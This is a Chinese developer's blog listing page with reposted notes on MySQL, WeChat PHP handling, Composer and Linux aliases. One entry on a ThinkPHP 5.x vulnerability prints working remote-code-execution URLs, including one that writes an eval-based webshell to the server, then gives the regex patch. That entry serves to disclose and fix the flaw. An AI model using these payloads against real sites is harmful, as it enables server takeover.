1. 1
  2. 2
  • 欢迎您
    MySQL中删除重复数据只保留一条
    yunitongxing 2019-05-10 技术语录

    23

    昨天做需求遇到一个问题,就是要把数据库中,数据表里有重复得数据,需要删除重复得数据并且保留一条啊数据,查了网上好多说法,最终选择了这个方法,借鉴别人得方法,自己收藏起来,供我们一起学习,后面我会贴出原链接

    用SQL语句,删除掉重复项只保留一条

    在几千条记录里,存在着些相同的记录,如何能用SQL语句,删除掉重复的呢 
    1、查找表中多余的重复记录,重复记录是根据单个字段(peopleId)来判断

    SELECT
        *FROM
        peopleWHERE
        peopleId IN (        SELECT
                peopleId        FROM
                people        GROUP BY
                peopleId        HAVING
                count(peopleId) > 1
        )


    2、删除表中多余的重复记录,重复记录是根据单个字段(peopleId)来判断,只留有rowid最小的记录


    DELETEFROM
        peopleWHERE
        peopleName IN (        SELECT
                peopleName        FROM
                people        GROUP BY
                peopleName        HAVING
                count(peopleName) > 1
        )AND peopleId NOT IN (    SELECT
            min(peopleId)    FROM
            people    GROUP BY
            peopleName    HAVING
            count(peopleName) > 1)

    3、查找表中多余的重复记录(多个字段)

    SELECT
        *FROM
        vitae aWHERE
        (a.peopleId, a.seq) IN (        SELECT
                peopleId,
                seq        FROM
                vitae        GROUP BY
                peopleId,
                seq        HAVING
                count(*) > 1
        )

    4、删除表中多余的重复记录(多个字段),只留有rowid最小的记录

    DELETEFROM
        vitae aWHERE
        (a.peopleId, a.seq) IN (        SELECT
                peopleId,
                seq        FROM
                vitae        GROUP BY
                peopleId,
                seq        HAVING
                count(*) > 1
        )AND rowid NOT IN (    SELECT
            min(rowid)    FROM
            vitae    GROUP BY
            peopleId,
            seq    HAVING
            count(*) > 1)

    5、查找表中多余的重复记录(多个字段),不包含rowid最小的记录

    SELECT
        *FROM
        vitae aWHERE
        (a.peopleId, a.seq) IN (        SELECT
                peopleId,
                seq        FROM
                vitae        GROUP BY
                peopleId,
                seq        HAVING
                count(*) > 1
        )AND rowid NOT IN (    SELECT
            min(rowid)    FROM
            vitae    GROUP BY
            peopleId,
            seq    HAVING
            count(*) > 1)

    6.消除一个字段的左边的第一位:

    UPDATE tableNameSET [ Title ]= RIGHT ([ Title ],(len([ Title ]) - 1))WHERE
        Title LIKE '村%'

    7.消除一个字段的右边的第一位:

    UPDATE tableNameSET [ Title ]= LEFT ([ Title ],(len([ Title ]) - 1))WHERE
        Title LIKE '%村'

    8.假删除表中多余的重复记录(多个字段),不包含rowid最小的记录

    UPDATE vitaeSET ispass =- 1WHERE
        peopleId IN (        SELECT
                peopleId        FROM
                vitae        GROUP BY
                peopleId

    原链接:https://www.cnblogs.com/jiangxiaobo/p/6589541.html

  • 欢迎您
    微信公众号开发关注推送消息回复实现不了的解决方法
    yunitongxing 2019-04-29 技术语录

    33

    我从开发微信公众号,遇到很多问题,一开始我要用thinkphp5框架,但是用此框架,前提是php版本必须是5.4以上版本;
    后来框架从thinkphp5换到了thinkphp3.2,原因是php版本太低,为了不影响其他项目得使用,选择了tp3.2,开始得时候还很顺利,到了
    开发自动回复模块,真的是让人头疼
    问题1:还是PHP版本问题,如果你是php7以上,获取post文件就得使用file_get_contents("php://input");否在,你要是php7版本以下,
    那你得函数就变成了$GLOBALS['HTTP_RAW_POST_DATA'];
    问题2:微信定义得FromUserName和ToUserName和"<xml>
    			                    <ToUserName><![CDATA[%s]]></ToUserName>
    			                    <FromUserName><![CDATA[%s]]></FromUserName>
    			                    <CreateTime>%s</CreateTime>
    			                    <MsgType><![CDATA[%s]]></MsgType>
    			                    <Content><![CDATA[%s]]></Content>
    			                    <FuncFlag>%d</FuncFlag>
    			                    </xml>";正好相反;更值得关注得是不要在此有任何空格出现
    问题3:这个就是困扰我很长时间得地方啊,要在php.ini里设置always_populate_raw_post_data = On ,这个是针对php7一下版本得
    1.tp5和其他的不太一样 需要去判断$_GET['echostr'] 是否为空再去访问方法如下代码

    public function index(){

            //获得参数 signature nonce token timestamp echostr

            if(isset($_GET['echostr'])){

                $nonce     = $_GET['nonce'];

                $token     = 'weixin';

                $timestamp = $_GET['timestamp'];

                $signature = $_GET['signature'];

                $echostr   = $_GET['echostr'];

                //形成数组,然后按字典序排序

                $array = array($nonce, $timestamp, $token);

                sort($array);

                //拼接成字符串,sha1加密 ,然后与signature进行校验

                $str = sha1( implode( $array ) );

                if( $str  == $signature){

                    //第一次接入weixin api接口的时候

                    ob_clean();

                    header('content-type:text');

                    echo  $echostr;

                    exit;

                }

            }else{

                $this->reponseMsg();

            }

        }

    2.我用的是tp5.1 php 版本设定的是php7.0 而网上的$postArr 大多都是


    $postArr = $GLOBALS['HTTP_RAW_POST_DATA'];

    这个在php7.0中是无法使用的所以需要改为


    $postArr = isset($GLOBALS['HTTP_RAW_POST_DATA']) ? $GLOBALS['HTTP_RAW_POST_DATA'] : file_get_contents("php://input");

    这个是tp版本通用的 上例子


     public function reponseMsg(){

            //1.获取到微信推送过来post数据(xml格式)

            //$postArr = $GLOBALS['HTTP_RAW_POST_DATA'];//php7以上不能用

     

            $postArr = isset($GLOBALS['HTTP_RAW_POST_DATA']) ? $GLOBALS['HTTP_RAW_POST_DATA'] : file_get_contents("php://input");

            //$postArr = file_get_contents("php://input");

            //2.处理消息类型,并设置回复类型和内容

            $postObj = simplexml_load_string( $postArr );

            //判断该数据包是否是订阅的事件推送

            if( strtolower( $postObj->MsgType) == 'event'){

                //如果是关注 subscribe 事件

                if( strtolower($postObj->Event == 'subscribe') ){

                    //回复用户消息(纯文本格式)

                    $toUser   = $postObj->FromUserName;

                    $fromUser = $postObj->ToUserName;

                    $time     = time();

                    $msgType  =  'text';

                    //$content  = '您好,欢迎关注微信公众账号'.$postObj->FromUserName.'-'.$postObj->ToUserName;

                    $content  = '欢迎关注微信公众账号';

                    $template = "<xml><ToUserName><![CDATA[%s]]></ToUserName>

                                <FromUserName><![CDATA[%s]]></FromUserName>

                                <CreateTime>%s</CreateTime>

                                <MsgType><![CDATA[%s]]></MsgType>

                                <Content><![CDATA[%s]]></Content></xml>";

                    $info     = sprintf($template, $toUser, $fromUser, $time, $msgType, $content);

                    echo $info;

                }

            }

        }//

    --------------------- 

    作者:腐腐gay 

    来源:CSDN 

    原文:https://blog.csdn.net/wanganji5252/article/details/89241423 


  • 欢迎您
    对接接口问题(遇到的坑得分享)
    yunitongxing 2019-04-17 技术语录

    46

    这是一套对接Api接口得代码,其中毫秒数得求法,还有就是这个接口对方是Java写得接口,
    所以数组形式不应该是‘=>’,而是‘:’,键值对以冒号得形式出现,通过header头传参数,
    (http通信里,除了放header里,默认就是都放入body里的)

    <?php


    //字节数组转换

    function stringToByteArray($str,$charset) {

     

        $str = iconv($charset,'UTF-8',$str);

        preg_match_all('/(.)/s',$str,$bytes); 

        $bytes=array_map('ord',$bytes[1]) ;

        return $bytes;

     

    }

    //毫秒:

    function msectime() {

    list($msec, $sec) = explode(' ', microtime());

    $msectime = (float)sprintf('%.0f', (floatval($msec) + floatval($sec)) * 1000);

    return $msectime;

    }

    //(毫秒得计算,让我找了好长时间,虽然方法很多,最后选择了这个方法)



    $signature = sha1($signature);

    $url='http://123456.com';

    $postData=array(

    'a'=>1,

    'b'=>3,

    'c'=>1,

    'd'=>'aaa',

    );

    $postJosnData = json_encode($postData);

    $headers = array(

    'Content-Type: application/json; charset=utf-8',

           ' Content-Length: ' . strlen($postJosnData),

           'shijianchuo:'.$a,

           'qianming:'.$b,

    );


     $ch = curl_init();

    // 添加apikey到header

    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);

    curl_setopt($ch,CURLOPT_HEADER,false);

    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,120);

    curl_setopt($ch, CURLOPT_POSTFIELDS, $postJosnData);

    curl_setopt($ch,CURLOPT_HTTPHEADER,$headers);

    curl_setopt($ch,CURLOPT_URL,$url);

    $response = curl_exec($ch);

    if($error=curl_error($ch)){

        die($error);

    }

    curl_close($ch);

    echo $response;


    ?>





  • 欢迎您
    MySQL运行存储过程出现1292错误
    yunitongxing 2019-04-10 技术语录

    57

    在navicat上远程连接MySQL,运行存储过程时传入了一个时间参数‘0000-00-00 00:00:00’,发生如下错误 

    1292 - Incorrect datetime value: '0000-00-00 00:00:00' for column 'targetTime' at row 1


    官方文档上说明MySQL允许将’0000-00-00’保存为“伪日期”,但是MySQL有一个NO_ZERO_DATE SQL模式,这个模式默认是打开的,不允许产生伪日期,所以要关掉这个选项。执行SQL语句: 


    set global sql_mode='STRICT_TRANS_TABLES,STRICT_ALL_TABLES,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER';


    使用show variables like '%sql_mode%';查看关于sql_mode的变量,如果没有NO_ZERO_IN_DATE和NO_ZERO_DATE就说明修改成功

    --------------------- 

    原文:https://blog.csdn.net/magius/article/details/66970486 



  • 欢迎您
    Composer安装的曲折道路
    yunitongxing 2019-01-21 技术语录

    388

    由于PHP框架laravel安装,运行需要composer安装搭环境,所以开始了composer的安装路途

    Composer下载地址下面有

    1、PHP版本太低

    第一次安装composer安装成功,但运行composer install时,提示我PHP版本太低,我当时是php5.5.12,然后我就下载了一个7.2.14

    image.png

    下载链接:https://windows.php.net/download/

    2、php_xdebug-2.6.0-7.2-vc15-x86_64.dll不支持

    下载完PHP之后,.将原来版本的php5.5.12文件夹中的,php.ini , phpForApache.ini , wampserver.conf 文件 复制到 php7.1.5 文件夹中。

     修改 php.ini , phpForApache.ini 两个文件, 将两个文件中所有的 php5.5.12 替换成 php7.1.5

     

    修改wampserver.conf文件, 如果你的apache版本是 2.2X 那么修改

    $phpConf['apache']['2.2']['LoadModuleName'] = 'php5_module';$phpConf['apache']['2.2']['LoadModuleFile'] = 'php5apache2_2.dll';

     

    $phpConf['apache']['2.2']['LoadModuleName'] = 'php7_module';$phpConf['apache']['2.2']['LoadModuleFile'] = 'php7apache2_2.dll';

    如果你的apache版本是 2.4 那么修改

    $phpConf['apache']['2.4']['LoadModuleName'] = 'php5_module';$phpConf['apache']['2.4']['LoadModuleFile'] = 'php5apache2_4.dll';

     

    $phpConf['apache']['2.4']['LoadModuleName'] = 'php7_module';$phpConf['apache']['2.4']['LoadModuleFile'] = 'php7apache2_4.dll';

    wamp/bin/apache/apache2.4.9/bin 目录下,找到 php.ini 文件,将其删除。

    wamp/bin/apache/apache2.4.9/conf 目录下,找到httpd.conf 文件

     查找LoadModule, 将其改为。

    LoadModule php7_module "D:/wamp/bin/php/php7.1.5/php7apache2_4.dll"

    3、接下来就是讨厌得一步,每次提示zend_extension错误

    我下载了无数次,我最后选择Xdebug2.6.0,要看清楚电脑64位还是32

    下载地址:https://xdebug.org/download.php

     

    4、'track_errors' 提示error

    开始运行composer-setup.exe,最后有报错,这次时'track_errors',这样得提示得话就可以打开php.ini,搜索'track_errors' ,把它注释掉

    5、composer报错SHA384 is not supported by your openssl extension

    这个错误我折腾了两天,我换了一个下载composer得链接,然后运行就OK了

    下载地址https://getcomposer.org/download/


  • 欢迎您
    THINKPHP网站漏洞修复对于远程写入网站木马文件漏洞详情与修补
    yunitongxing 2018-12-19 技术语录

    80

    THINKPHP漏洞修复,官方于近日,对现有的thinkphp5.0到5.1所有版本进行了升级,以及补丁更新,这次更新主要是进行了一些漏洞修复,最严重的就是之前存在的SQL注入漏洞,以及远程代码执行查询系统的漏洞都进行了修复,官方本以为没有问题了,但是在实际的安全检测当中发现,还是存在问题,还是可以远程代码进行注入,插入非法字符,提交到服务器后端中去。

    97647b0553fe44328eb87f00af0d206a.jpeg

    关于这次发现的oday漏洞,我们来看下官方之前更新的代码文件是怎么样的,更新的程序文件路径是library文件夹下的think目录里的app.php,如下图:

    3f81bd04332c4ce7a53b22d1144d427f.png

    漏洞产生的原因就在于这个控制器这里,整个thinkphp框架里的功能对控制器没有进行严格的安全过滤于检查,使攻击者可以伪造恶意参数进行强制插入,最根本的原因就是正则的表达式写的不好,导致可以绕过。

    在controller获取控制器后,直接进行赋值,但是并没有对控制器的名进行严格的检测,导致可以使用斜杠等特殊符号来远程代码注入。

    我们来搭建一下网站的环境,apache+mysql+Linux centos系统,搭建好的测试环境地址是http://127.0.01/anquan ,我们可以直接在index.php后面伪造攻击参数,示例如下:

    http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

    直接get方式提交到网站中去,可以直接查询到网站当前根目录的所有文件,截图如下:

    e56dbce81b9e4d8095dbc214f604ac0f.png

    通过该漏洞也可以直接远程代码注入执行phpinfo语句,查询当前的php版本,路径,扩展,以及php.ini存放的地址,都可以看得到,构造如下代码即可。

    http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

    224d53d8a0f34a5795eb3e094e6f3266.png

    有些人可能会问了,既然都可以phpinfo,查询目录文件,可不可以getshell写网站木马文件到网站里呢? 答案是可以的,我们测试的时候是以一句话木马代码的写入到safe.php文件里。

    http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_GET["cmd"]);?>%27%20>%20safe.php

    关于这次thinkphp的漏洞利用以及分析到此就结束了,该漏洞属于高危漏洞,危害严重性较大,很多升级更新补丁的网站都会受到攻击,甚至有些网站会被挂马,那么该如何修复thinkphp的漏洞呢?替换之前的正规则表达式即可,还需要对网站的目录进行权限部署,防止生成php文件,对网站上的漏洞进行修复,或者是对网站安全防护参数进行重新设置,使他符合当时的网站环境。如果不懂如何修复网站漏洞,也可以找专业的网站安全公司来处理,国内如Sinesafe和绿盟、启明星辰等安全公司比较专业.

    针对于这个情况,我们要对其library/think/App.php代码里的正规则表达式进行更改,if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }

    原文来自:https://yq.aliyun.com/articles/676380?spm=a2c4e.11155472.0.0.1a553d38LLxkoz

  • 欢迎您
    linux alias永久生效
    yunitongxing 2018-12-13 技术语录

    57

    在Linux中,有很多很长的命令需要给它起个别名,正好今天学到一个技能,记录一下,alias命令可以给其他命令设置一个别名,如何使其永久生效呢,我先做个笔记

    1、

    首先查看当前的已经定义的alias有哪些?示例:

    alias

    image.png

    2、

    新增一个新的别名命令,此命令只是一个临时的,示例:

    alias cdwww='cd wwwdoc'

    image.png

    3、若想要别名命令永久生效,需要将其写入.bashrc文件中,

    使用vi编辑器,打开家目录下的 隐藏文件 .bashrc,示例:

    vi .bashrc

    image.png

    4、将第2步骤中的临时指令,写入到.bashrc中,使其成为永久生效的指令

    image.png

    5、插入指令之后,依次按下ESC键,然后按下冒号键,最后输入wq,

    对文件更改进行保存并退出

    image.png

    6、最后使用source指令,让刚刚修改的文件立即生效,

    示例:source .bashrc

    image.png





  • 欢迎您
    TP3.2分页踩到得坑
    yunitongxing 2018-12-05 技术语录

    62

    在做分页得时候,想得特别简单,打开TP3.2的手册,看了看分页的原理,然后实现分页效果

    image.png

    效果出来了,感觉已经成功了,当我点击234或者下一页的时候,要么就是没有数据,页面刷新,要么就是还是原数据,没有反应。

    THINKPHP3.2的分页类被迁移到Think\Page.class.php,这个和以前的版本是有些不同,使用起来和以前版本还是差不多的。

    由于我得数据是以post方式查询出来的,所以每次刷新页面就会重新查询数据,因此数据就为空了。

    image.png

    这个是网上的一种方法:

    image.png

    其中,selConform中的参数们,比如name='selCon.a'name='selCon.b'......

    按照上面的方法解决了点击下一页的时候,查询参数无法传递的问题。但是我又发现了一个问题,也就是说当我们进入第二页之后,然后再改变查询条件,这时查询出来的结果不是从第一个开始,而是从第二页开始,所以我们这里还需要在查询的时候在js中把p参数(当前页码)设置为1,具体方法如下

    image.png

    我按照网上的这样做了,但是还是没有反应,也许是我处理有问题,但是我也要记录下来,

    原地址是:https://www.cnblogs.com/ningvsban/p/3840972.html

    **我自己解决方案:

    分页传输方式都是get传参,所以,我又用get方式传参接受了一下查询条件的数据,

    image.png

    这样无论怎样都会有数据,不知道这种方式是笨方法还是也算一种方法,之所以把这个方法放在后面,就是为了用上面方法没有解决再用下面这种方法,我就算给自己做个笔记,下一次啊遇到这个问题我知道问题出在哪里。

     

    总结:phpthinkphppost方式查询时分页失效的解决方法


  • 姓名:孙小宇
  • 职业:PHP开发
  • 邮箱:yntx420@163.com
  • 定位:河北 · 张家口
       
  •   总访问量:2.97w+
  •   今日访问量:57
  •